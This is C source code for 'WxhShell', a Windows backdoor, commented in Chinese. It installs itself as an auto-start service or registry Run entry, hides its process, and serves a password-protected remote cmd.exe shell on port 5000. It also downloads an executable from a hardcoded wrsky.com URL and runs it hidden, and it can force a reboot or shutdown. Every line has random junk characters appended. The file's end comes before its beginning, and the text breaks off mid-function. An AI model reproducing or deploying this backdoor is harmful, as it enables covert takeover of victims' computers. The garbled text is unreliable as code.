    closesocket(wsh); -@QLE}~k[  
    ExitThread(0); ^WRr "3  
    } `zvYuKQ.}  
    break; e]5QqM7  
    } "kL5HD]TC  
  // 获取shell +Gjy%JFp  
  case 's': { T|=8 jt,  
    CmdShell(wsh); E;X'.7[c  
    closesocket(wsh); 's9)\LS>p  
    ExitThread(0); sPhh#VCw{  
    break; xOt|j4  
  } Q[k}_1sWs$  
  // 退出 ycH=L8  
  case 'x': { y@(U 6ZOyx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +yYz;, \  
    CloseIt(wsh); Lkb?,j5  
    break; BEY}mR]  
    } )S5Q5"j&=f  
  // 离开 U2h?l `nP  
  case 'q': { LsmC/+7r$1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YS/DIH{9e  
    closesocket(wsh); <?I~ +  
    WSACleanup(); 1M+mH#?  
    exit(1); APF-*/K?  
    break; 1p tPey  
        } 7y60-6r  
  } y)=Xo7j  
  } D,R/abYZH  
){,8}(|  
  // 提示信息 0>AA-~=-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eHv/3"Og  
} ^y?? pp<1J  
  } /2YI!U@A  
8'f:7KF  
  return; :0]KIybt  
} vm Hf$rq  
t n}9(Oa)  
// shell模块句柄 vb$k/8JK  
int CmdShell(SOCKET sock) toP7b  
{ zIlQqyOQ8  
STARTUPINFO si; 0R; ;ou  
ZeroMemory(&si,sizeof(si)); Gz kf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z,^baU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,H|V\\  
PROCESS_INFORMATION ProcessInfo; Iz  ,C!c  
char cmdline[]="cmd"; \oaO7w,:"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yDHH05Yl  
  return 0; p( z.[  
} [rf.P'p%  
{>syZZ,h  
// 自身启动模式 9_&.G4%V  
int StartFromService(void) k6$.pCH6  
{ ;ASlsUE\)  
typedef struct uRp-yu[nt%  
{ 7H=/FT?e]  
  DWORD ExitStatus; z;Kyg}  
  DWORD PebBaseAddress; uv Z!3UH.  
  DWORD AffinityMask; =WHdy;  
  DWORD BasePriority; V a<L[8  
  ULONG UniqueProcessId; p-;*K(#X  
  ULONG InheritedFromUniqueProcessId; "zYlddh  
}   PROCESS_BASIC_INFORMATION; %SIbpk%  
_TkiI.'  
PROCNTQSIP NtQueryInformationProcess; 8?ZK^+]y  
xC{W_a(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rFGbp8(2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qxt ,@<IK  
`Up3p24  
  HANDLE             hProcess; $_NVy>\&  
  PROCESS_BASIC_INFORMATION pbi; Z~v.!j0  
;Q\Duj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $2\ OBc=  
  if(NULL == hInst ) return 0; `rQA9;Tn2  
2jaR_` `=:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /SjA;c! .  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {&m^*YN/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rZ *}jD[  
!hEt UF  
  if (!NtQueryInformationProcess) return 0; l+RBe<Mq  
(rvK@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +1_NB;,e  
  if(!hProcess) return 0; "*<9)vQ6|  
s<aJ pi{n4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $(G.P!/  
}ob#LC,  
  CloseHandle(hProcess); EW|bs#l  
QYDSE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fyh9U_M);w  
if(hProcess==NULL) return 0; |&3[YZY  
y&UcTE2;%(  
HMODULE hMod; N<9C V!_  
char procName[255]; R9^Vk*`gFU  
unsigned long cbNeeded; RYy_Ppn96f  
+A O(e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A-qdTJP  
pm@Mlwg`1  
  CloseHandle(hProcess); zcy!YB  
>]s|'HTxF  
if(strstr(procName,"services")) return 1; // 以服务启动 QT&2&#Z  
+q6/'ErN]m  
  return 0; // 注册表启动 A+_361KH  
}  GMrjZ  
B&VruOP0  
// 主模块 ~4<xTP\*  
int StartWxhshell(LPSTR lpCmdLine) >2tYw,m  
{ !T!U@e=u  
  SOCKET wsl; xhWWl(r`5  
BOOL val=TRUE; u%}zLwMH  
  int port=0; srLXwoN[  
  struct sockaddr_in door; F8S% \i  
+co VE^/w  
  if(wscfg.ws_autoins) Install(); .]JGCTB3  
tDJtsOL  
port=atoi(lpCmdLine); TY"8.vd  
K)QM xn  
if(port<=0) port=wscfg.ws_port; 0NL~2Qf_4  
C|*U)#3:F  
  WSADATA data; s#hIzt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & =)HPzC  
OWx-I\:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j]Kpwf<NS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B<%cqz@  
  door.sin_family = AF_INET; 0Q`Dp;a5&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .nl!KzO6g  
  door.sin_port = htons(port); 6j/g/!9c!  
=^\yE"a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3"FvYv{  
closesocket(wsl); }>]V_}h  
return 1; P%2aOsD0  
} 8iA[w-Pv  
}OL?k/w  
  if(listen(wsl,2) == INVALID_SOCKET) { f#f<Ii  
closesocket(wsl); C-u'Me)H  
return 1; {<+B>6^  
} 0n<>X&X  
  Wxhshell(wsl); >"5 f B  
  WSACleanup(); : 7>oFz  
MVP|l_2!  
return 0; lY -2e>  
ZRHK?wg'#  
} & 6 wD  
= p{55dR  
// 以NT服务方式启动 Pu>jECcz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >>bsr#aJ  
{ +-2o b90_m  
DWORD   status = 0; : 8h\x  
  DWORD   specificError = 0xfffffff; -Y>,\VEK  
v]{F.N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vxE#6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `xv2,Z9<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E.LD1Pm0  
  serviceStatus.dwWin32ExitCode     = 0; aG_@--=  
  serviceStatus.dwServiceSpecificExitCode = 0; M$YU_RPl+  
  serviceStatus.dwCheckPoint       = 0; Zaime  
  serviceStatus.dwWaitHint       = 0; ,=>Ws:j  
Z mVw5G q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ``mnk>/  
  if (hServiceStatusHandle==0) return; /]pJ(FFC  
xbqFek$/r  
status = GetLastError(); J,(@1R]KF:  
  if (status!=NO_ERROR) *yl?M<28  
{ #z6[ 8B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G`D rY;  
    serviceStatus.dwCheckPoint       = 0; x%_VzqR`  
    serviceStatus.dwWaitHint       = 0; = y @*vl   
    serviceStatus.dwWin32ExitCode     = status; RG&t0%yj}  
    serviceStatus.dwServiceSpecificExitCode = specificError; G.")Bg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#(KP  
    return;  A:b(@'h  
  } w :nYsuF  
5}C.^J`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qTZ\;[CrP"  
  serviceStatus.dwCheckPoint       = 0; amTeT o]Tg  
  serviceStatus.dwWaitHint       = 0; A4uKE"WE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j)nL!":O  
} 6C'W  
U_Jchi,!  
// 处理NT服务事件,比如:启动、停止 Sy@)Q[A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jn7T5$pJ  
{ #B2a?   
switch(fdwControl) TW?_fse*[  
{ )d~{gPr.  
case SERVICE_CONTROL_STOP: 8NnGN(a*D  
  serviceStatus.dwWin32ExitCode = 0; ,Iv eKk5W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~ k"r  
  serviceStatus.dwCheckPoint   = 0; ^yLhL^Y  
  serviceStatus.dwWaitHint     = 0; ThvgYv--B  
  { _sqj~|K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &L[i"1a  
  } +$}3=n34)  
  return; Bo,>blspw  
case SERVICE_CONTROL_PAUSE: whi#\>i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *O|_)G  
  break; %<)!]8}P*  
case SERVICE_CONTROL_CONTINUE: 4bs<j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \E(^<Af  
  break; %1oB!+tv  
case SERVICE_CONTROL_INTERROGATE: u4#YZOiY)A  
  break; hv0bs8h  
}; dzQs7D}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x{O) n  
} K/iFB  
: E`78  
// 标准应用程序主函数 38GkV.e}$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m]+~F_/  
{ K'Y/0:"*  
Uiv4'v Yg  
// 获取操作系统版本 5,\-;  
OsIsNt=GetOsVer(); m#Ydq(0+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9])Id;+91  
mv,5Q6!  
  // 从命令行安装 29AE B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2$OV`qy@?  
wrQ0 2?  
  // 下载执行文件 1oc@]0n  
if(wscfg.ws_downexe) { J@o_-\@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7{Lp/z%r  
  WinExec(wscfg.ws_filenam,SW_HIDE); o:'@|(&<  
} J!Q #xs  
9a2[_Wy  
if(!OsIsNt) { XJ!?>)N .  
// 如果时win9x,隐藏进程并且设置为注册表启动 )1 f%kp#]  
HideProc(); ]]o?!NX  
StartWxhshell(lpCmdLine); Kf-XL ),3l  
} o|$r;<o3R  
else RNF%i~nhO  
  if(StartFromService()) 5X>K#N  
  // 以服务方式启动 %[, R Q">v  
  StartServiceCtrlDispatcher(DispatchTable); =8v NOvA  
else KE.O>M ,I.  
  // 普通方式启动 U!{~L$S  
  StartWxhshell(lpCmdLine); .-'_At4g  
w`DcnQK'  
return 0; @HzK)%@  
} j8oX9 Yo0=  
;Fo7 -kK  
Yy~xNj5OS  
?W_8 X2(`  
=========================================== S{RRlR6Z  
,.kmUd  
QOX'ZAB`  
<5E)6c_W)  
:>}7^1I  
@SH[<c  
" XuWX@cK  
.]H/u "d  
#include <stdio.h> %+ nM4)h  
#include <string.h> M]|]b-#  
#include <windows.h> Y<IuwS  
#include <winsock2.h> Ee_?aG e&  
#include <winsvc.h> /6rQ.+|).  
#include <urlmon.h> h<V,0sZ&:  
o|u4C{j  
#pragma comment (lib, "Ws2_32.lib") G1-r$7\  
#pragma comment (lib, "urlmon.lib") IL:[0q  
Oq$-*N  
#define MAX_USER   100 // 最大客户端连接数 6 .9C 4  
#define BUF_SOCK   200 // sock buffer d~MY z6"  
#define KEY_BUFF   255 // 输入 buffer |"PS e~ u  
GSs?!BIC  
#define REBOOT     0   // 重启 V?Q45t Ae  
#define SHUTDOWN   1   // 关机 4X",:B}  
])G| U A.  
#define DEF_PORT   5000 // 监听端口 qzNXz_#+u  
ySI}Nm>&=  
#define REG_LEN     16   // 注册表键长度 A;5_/ 2  
#define SVC_LEN     80   // NT服务名长度 H s$HeAp;  
n*ROlCxV  
// 从dll定义API HE{UgU:tY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E,F^!4 rJ$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rp;"]Q&b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "@5qjLz]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (-Q~@Q1  
'4 It>50b  
// wxhshell配置信息 ePZ Ai"k  
struct WSCFG { 'gXD?ARW  
  int ws_port;         // 监听端口 ]&;In,z  
  char ws_passstr[REG_LEN]; // 口令 TQ:h[6v  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0i"2s}^+_  
  char ws_regname[REG_LEN]; // 注册表键名 {\`y)k 7  
  char ws_svcname[REG_LEN]; // 服务名 uF|Up]Z G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AFM+`{Cq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "uP*pR^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -[J4nN&N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >Tjl?CS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :ssj7wl :  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W}N7jPO}  
#6 ni~d&0  
}; g_n_Qlo  
J5{  
// default Wxhshell configuration Wuo:PX'/9  
struct WSCFG wscfg={DEF_PORT, #'},/Lm@  
    "xuhuanlingzhe", qO38vY){  
    1, BQ<\[H;  
    "Wxhshell", VxS3lR=  
    "Wxhshell", l]~9BPsR  
            "WxhShell Service", n!AW9]  
    "Wrsky Windows CmdShell Service", p^}`^>OL  
    "Please Input Your Password: ", $a8,C\m e?  
  1, 6&5D4 V  
  "http://www.wrsky.com/wxhshell.exe", gG@4MXq.  
  "Wxhshell.exe" ?w!8;xS8  
    }; <7>1Z 82)  
Yyar{$he  
// 消息定义模块 vNs`UkA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p;'.7_1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kxa1F,dZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YM#MfL#  
char *msg_ws_ext="\n\rExit."; wfe4b  
char *msg_ws_end="\n\rQuit."; w N`Nj m9!  
char *msg_ws_boot="\n\rReboot..."; FfxD=\  
char *msg_ws_poff="\n\rShutdown..."; &SPY'GQ!  
char *msg_ws_down="\n\rSave to "; pH.&C 5kA  
i-;#FT+ Xc  
char *msg_ws_err="\n\rErr!"; Cg?Mk6i  
char *msg_ws_ok="\n\rOK!"; M%la@2SK=  
l53Q"ajG  
char ExeFile[MAX_PATH]; Ywv\9KL  
int nUser = 0; +."|Y3a  
HANDLE handles[MAX_USER]; ?9O#b1f N  
int OsIsNt; %WKBd \O  
y$bY 8L  
SERVICE_STATUS       serviceStatus; $T#fCx/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5-ED\-  
{tl{ j1d |  
// 函数声明 _ yJz:pa  
int Install(void); ?<BI)[B  
int Uninstall(void); %'i_iF8.  
int DownloadFile(char *sURL, SOCKET wsh); Q\}-MiI/  
int Boot(int flag); SrB>_0**  
void HideProc(void); f8SO:ihXL  
int GetOsVer(void); IY8<^Q']  
int Wxhshell(SOCKET wsl); i].E1},%  
void TalkWithClient(void *cs); TmftEw>u  
int CmdShell(SOCKET sock); yGNpx3H  
int StartFromService(void); ^n<YO=|u  
int StartWxhshell(LPSTR lpCmdLine); U^|T{g+O  
U}DE9e{/!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %FM26^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ab2Cn|F  
-BI!ZsC'  
// 数据结构和表定义 $Zo|t a^  
SERVICE_TABLE_ENTRY DispatchTable[] = ;]0d{  
{ pnE]B0e  
{wscfg.ws_svcname, NTServiceMain}, Mh2b!B  
{NULL, NULL} =H8FV09x}  
}; 4h_YVG]ur  
#]5KWXC'~  
// 自我安装 q2J |koT  
int Install(void) C>x)jDb?  
{ ||*F. p  
  char svExeFile[MAX_PATH]; 2L;=wP2?{  
  HKEY key; E9>z.vV   
  strcpy(svExeFile,ExeFile); Lfcy#3!  
B|"/bQ  
// 如果是win9x系统,修改注册表设为自启动 7FPSBvU#/  
if(!OsIsNt) { 4)OOj14-V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !wQ?+ :6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Al6%RFt  
  RegCloseKey(key); 3u[8;1}7Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  !QvmzuK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TfkGkVR  
  RegCloseKey(key); P(Rl/eyRM  
  return 0; G/FDD{y  
    } uq-`1m }  
  } 2Sa{=x N)  
} `JDZR:bMaT  
else { ZiQ<SSo:  
?!jJxhK<h  
// 如果是NT以上系统,安装为系统服务 YkMFU'?[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )-1e} VF(U  
if (schSCManager!=0) YLTg(*  
{ T%& vq6  
  SC_HANDLE schService = CreateService zj] g^c;  
  ( 8<T~AU8'*  
  schSCManager, sRZ<c  
  wscfg.ws_svcname, F(."nUrf  
  wscfg.ws_svcdisp, _0gdt4  
  SERVICE_ALL_ACCESS, ,g}$u'A+d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "= %"@"<)  
  SERVICE_AUTO_START, jUNt4  
  SERVICE_ERROR_NORMAL, ](Wa:U}Xs  
  svExeFile, 2]9 2J  
  NULL, |n tWMm:(  
  NULL, "0Z /|&  
  NULL, =y@0i l+V  
  NULL, $\vNST E  
  NULL ,{S $&g*  
  ); "ldd&><  
  if (schService!=0) K-\wx5#l/  
  { $V`1<>4  
  CloseServiceHandle(schService); /3rNX}tOMH  
  CloseServiceHandle(schSCManager); 2jC:uk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ogQfzk  
  strcat(svExeFile,wscfg.ws_svcname); Z}0xK6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gsEcvkj*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LFxk.-{=  
  RegCloseKey(key); +%,oq ]<[,  
  return 0; LI3L~6A>  
    } )P b$  
  } h9im S\gfr  
  CloseServiceHandle(schSCManager); W!\%v"  
} kiN,N]-V  
} Spx%`O<  
r9N?z2X  
return 1; Cj4Y, N  
} k Qr  
kO*\JaD  
// 自我卸载 '6){~ee S  
int Uninstall(void) Ck !"MK4  
{ W).Kq-  
  HKEY key; Gvdok<o  
/D;ugc*3  
if(!OsIsNt) { :vEfJSA 1<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 ; <Vr<.  
  RegDeleteValue(key,wscfg.ws_regname); x+za6e_k"  
  RegCloseKey(key); -hm/lxyU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y7!&  
  RegDeleteValue(key,wscfg.ws_regname); +:ms`Sr>  
  RegCloseKey(key); w.J$(o(/  
  return 0; gy,)% {,G  
  } X\H P{$fY_  
} Rzs u 7w  
} ^&mrY[;S  
else { O/Hj-u6&A  
ak_y:O|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pf%I6bVN9  
if (schSCManager!=0) i?M-~EKu  
{ KFO K%vbM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "\}h  
  if (schService!=0) CEw%_U@8  
  { NrXIaN  
  if(DeleteService(schService)!=0) { j5:4/vD  
  CloseServiceHandle(schService); ~F,Y BX  
  CloseServiceHandle(schSCManager); d`flYNg4  
  return 0; TW(X#T@Z6I  
  } Hik=(pTu>  
  CloseServiceHandle(schService); oLX[!0M^  
  } }AB_i'C0  
  CloseServiceHandle(schSCManager); 2SlL`hN>Z  
} G}l9 [lE  
} Iq,h}7C8'  
F7b% x7b  
return 1; =X5w=(&  
} >m;nt}f'+  
PknKzrEG:>  
// 从指定url下载文件 0L32sF y  
int DownloadFile(char *sURL, SOCKET wsh) #T>?g5I  
{ u tkdL4G}'  
  HRESULT hr; z?Z"*z  
char seps[]= "/"; d(^HO~p  
char *token; 6A.%)whI;  
char *file; %vZHHBylu  
char myURL[MAX_PATH]; \*{MgwF  
char myFILE[MAX_PATH]; Ths~8{dMb  
BGj!/E  
strcpy(myURL,sURL); T _UJ?W  
  token=strtok(myURL,seps); pi#a!Quf\  
  while(token!=NULL) u0=&_Q(=  
  { R6Md_t\  
    file=token; Vrlqje_Q  
  token=strtok(NULL,seps); tl~ZuS/  
  } Vi^vG`L9  
-u"|{5? '  
GetCurrentDirectory(MAX_PATH,myFILE); w{L9-o3A  
strcat(myFILE, "\\");  03zt^<  
strcat(myFILE, file); D~i5E9s5  
  send(wsh,myFILE,strlen(myFILE),0); !Z\Gv1  
send(wsh,"...",3,0); 3`{ vx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rloxM~7!,)  
  if(hr==S_OK) j<BRaT  
return 0; GLZ*5kw  
else NhNd+SCZ@  
return 1; VKYljY0#  
M"p%CbcI]  
} .nVY" C&  
$]};EI#  
// 系统电源模块 SKNHLE}  
int Boot(int flag) Rsq EAdZw[  
{ kjsj~jwvv  
  HANDLE hToken; - (((y)!  
  TOKEN_PRIVILEGES tkp; ~Yl.(R  
TTa3DbFp%  
  if(OsIsNt) {  Rm)hgmZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /!t:MK;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DxN\ H"  
    tkp.PrivilegeCount = 1; cc`u{F9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /&47qU4PJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wVI_SQ<8V  
if(flag==REBOOT) { _s0)Dl6K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( [a$Z2m  
  return 0; C}3a  ^j  
} l4taD!WD/  
else { jP}Ry=V/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +0*\q  
  return 0; os;9 4yd )  
} )[ UYCx'  
  } -W@nc QL}  
  else { K+M\E[1W  
if(flag==REBOOT) { N\.g+ W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "'Gq4<&y  
  return 0; ^:ny  
} `~lG5|  
else { ]:2Ro:4Yv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D'ZUbAh!  
  return 0; ZRw^< +  
} z!b:|*m]w  
} %1#|>^  
dD39?K/  
return 1; Y$Rte .?  
} m*iSW]&  
NPO!J^^  
// win9x进程隐藏模块 EFI!b60mc  
void HideProc(void) gG.+3=  
{ xfX|AC  
T1Z*>(M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Glx{Zu=  
  if ( hKernel != NULL ) 6?.S-.Mr  
  { 6nsb)7a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0i8\Lu6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #pW!(tfN^a  
    FreeLibrary(hKernel); ~~"U[G1  
  } 9+<A7PM1T  
ABp8PD  
return; M e:l)8+  
} L$!2<eK  
L">jSZW[[  
// 获取操作系统版本 jJvd!,=)  
int GetOsVer(void) D_ej%QtB@  
{ )`Qr=DIsW  
  OSVERSIONINFO winfo; /GJL&RMx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p(4B"[!S  
  GetVersionEx(&winfo); T.;U~<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?kV_!2U)'K  
  return 1; Uh1UZ r  
  else ';.y`{/  
  return 0; }c= Y<Cdh  
} \0;w7tdo  
/?Y4C)G  
// 客户端句柄模块 w&es N$2  
int Wxhshell(SOCKET wsl) k[<i+C";  
{ s{X+0_@Q  
  SOCKET wsh; 4T$jY}U  
  struct sockaddr_in client; 6q0)/|,@  
  DWORD myID; H0lW gJmi|  
OU]"uV<(  
  while(nUser<MAX_USER) >bhF{*t#;y  
{ h?4EVOx+  
  int nSize=sizeof(client); TL$w~dY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `RURC"  
  if(wsh==INVALID_SOCKET) return 1; &E!m(|6?+  
$5\sV48f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~K|ha26W  
if(handles[nUser]==0) bYhG`1,$-a  
  closesocket(wsh); gth_Sz5!#  
else zt|1tU:  
  nUser++; tOk=m'aUK  
  } Abmi=]\bx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )`W|J%w+  
MX!N?k#KhP  
  return 0; ;<0~^,Xm  
} "9*MSsU  
`W1TqA  
// 关闭 socket c;yp}k]\  
void CloseIt(SOCKET wsh) +yk0ez  
{ &h6 `hP_  
closesocket(wsh); aDLlL?r3  
nUser--; j2:9ahW  
ExitThread(0); ?wIEXKI  
} s6;ZaU  
|vG?H#y  
// 客户端请求句柄 A+\rGVNH'S  
void TalkWithClient(void *cs) e!C,<W&B\  
{ *U8,Q]gS  
wA,-!m  
  SOCKET wsh=(SOCKET)cs; &g*1If  
  char pwd[SVC_LEN]; @l_rB~  
  char cmd[KEY_BUFF]; c5Kc iTD^  
char chr[1]; w'xPKO$bzR  
int i,j; 1guiuR4  
s{Y-Vdx  
  while (nUser < MAX_USER) { DmB?.l-  
rT4qx2u  
if(wscfg.ws_passstr) { `!ja0Sq]U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y<v-,b*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fp3`O9+em  
  //ZeroMemory(pwd,KEY_BUFF); *'{9(Oj  
      i=0;  aqi]5,  
  while(i<SVC_LEN) { 3_i29ghv  
&wkb r2P  
  // 设置超时 k#V\O2lb  
  fd_set FdRead; wYv++< z  
  struct timeval TimeOut; r=RiuxxTq  
  FD_ZERO(&FdRead); (v}l#M7w  
  FD_SET(wsh,&FdRead); R"F:(  
  TimeOut.tv_sec=8; i{HzY[  
  TimeOut.tv_usec=0; *J4 \KU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z{F^qwne  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +j8-l-o  
:F"NF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cvtn,Ml6  
  pwd=chr[0]; 7s0y.i~  
  if(chr[0]==0xd || chr[0]==0xa) { AuBBSk8($  
  pwd=0; 00Ye ]j_  
  break; 9r8bSV3`  
  } =C)2DWJ1  
  i++; e>uq/|.!  
    } Wh%@  
6mIRa(6V  
  // 如果是非法用户,关闭 socket f{(D+7e}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >4=7t&h  
} wo86C[  
W<~u0AyO 3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y;.5AvfD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ 93j;  
b'`C<Rk  
while(1) { 4C;"4''L  
rZ RTQ  
  ZeroMemory(cmd,KEY_BUFF); 7 3ABop  
m^tf=O<  
      // 自动支持客户端 telnet标准   %~lTQCPE  
  j=0; zmFKd5  
  while(j<KEY_BUFF) { 3JF" O+@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UH5A;SrTqR  
  cmd[j]=chr[0]; z<cPy)F]"  
  if(chr[0]==0xa || chr[0]==0xd) { ySlGqR1H  
  cmd[j]=0;  6\QsK96_  
  break; B6!ni@$M8X  
  } `Q>qmf_Fi  
  j++; ExOSHKU,e  
    } Z?eedVV@  
0o 8V8 :  
  // 下载文件 a3 t||@v!  
  if(strstr(cmd,"http://")) { 9}G<\y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  y]ya.YG  
  if(DownloadFile(cmd,wsh)) *44E'Dxv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +xYg<AFS  
  else @< 0c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]^QO ^{Sz  
  } 'H1k  
  else { `4qtmbj  
A_.}- dzF  
    switch(cmd[0]) { e~6>8YO+7j  
  S<w? ,Z  
